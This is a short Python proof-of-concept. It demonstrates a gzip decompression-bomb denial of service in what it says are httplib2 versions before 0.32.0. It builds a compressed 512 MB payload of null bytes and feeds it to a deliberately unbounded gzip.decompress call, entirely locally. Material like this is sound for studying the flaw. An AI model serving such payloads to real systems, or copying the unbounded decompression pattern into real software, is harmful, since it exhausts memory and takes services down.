Vulnerable code sample

import gzip
import sys

# This function represents the vulnerable logic in httplib2 versions prior to 0.32.0.
# The core issue is the call to gzip.decompress() without any limits on the
# size of the output, allowing a "decompression bomb" to cause a MemoryError.
def vulnerable_decompress_function(compressed_data):
    """
    Simulates the unbounded decompression vulnerability. A real-world exploit
    would involve a malicious HTTP server sending 'compressed_data' as the
    response body with a 'Content-Encoding: gzip' header.
    """
    print(f"[*] Simulating client receiving {len(compressed_data)} bytes of compressed data.")
    print("[*] Attempting to decompress the entire payload into memory...")

    try:
        # The vulnerable operation: decompressing an entire data stream into memory
        # without any safety checks on the resulting size.
        decompressed_data = gzip.decompress(compressed_data)
        print(f"[+] Decompression successful. In-memory size: {len(decompressed_data) / (1024*1024):.2f} MB")
        return decompressed_data
    except MemoryError:
        print("\n[!] CRITICAL: MemoryError caught!")
        print("[!] The process ran out of memory, demonstrating the Denial of Service (DoS) vulnerability.")
        sys.exit(1)

# --- Main execution demonstrating the vulnerability ---

# 1. A malicious actor prepares a "decompression bomb".
#    This is a very small file that expands to a huge size.
#    We create one in memory for this demonstration.
#    WARNING: Running this will allocate a large amount of RAM (~512 MB).
UNCOMPRESSED_SIZE_IN_BYTES = 512 * 1024 * 1024  # 512 MB

# A payload of repeating null bytes compresses extremely well.
original_large_payload = b'\0' * UNCOMPRESSED_SIZE_IN_BYTES

# This is what a malicious server would send.
compressed_bomb_payload = gzip.compress(original_large_payload)

print(f"[*] Malicious payload prepared.")
print(f"[*] Compressed Size: {len(compressed_bomb_payload) / 1024:.2f} KB")
print(f"[*] Uncompressed Size: {len(original_large_payload) / (1024*1024):.2f} MB")
print("-" * 40)


# 2. A vulnerable client using an old version of httplib2 receives this
#    'compressed_bomb_payload' and calls its internal decompression logic.
vulnerable_decompress_function(compressed_bomb_payload)